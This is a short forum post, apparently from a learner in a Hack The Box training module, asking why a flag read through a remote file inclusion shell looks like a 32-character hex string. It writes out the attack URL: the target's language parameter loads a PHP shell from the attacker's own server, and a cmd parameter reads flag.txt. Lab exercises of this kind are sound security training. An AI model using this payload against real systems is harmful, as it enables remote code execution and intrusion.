File Inclusion -> Remote Code Execution -> Remote File Inclusion (RFI) | Flag.txt wrong format?

I have a working shell on the target and I’ve found the location of flag.txt by executing ls -alr in the url parameter, so I know that my http server is working fine and the commands run, but when I navigate to
http://$target/index.php?language=http://$myip:8080/shell.php&cmd=cat+<pathtoFlag.txt>/flag.txt, the output is just a long string of random characters (99a8fc05f033f2fc0cf9a6f9826f83f4), rather than an actual HTB{FL4G}

I tried decoding the string in every way I could think, but I have had no luck. It’s not a valid hex value, its not in base64. ChatGPT even failed me here.

Proof of working shell: ![image|668x356](upload://synJljeimMQ9uO2MxZnWQm7OtJ0.jpeg)

Weird flag:

String trimming is hard.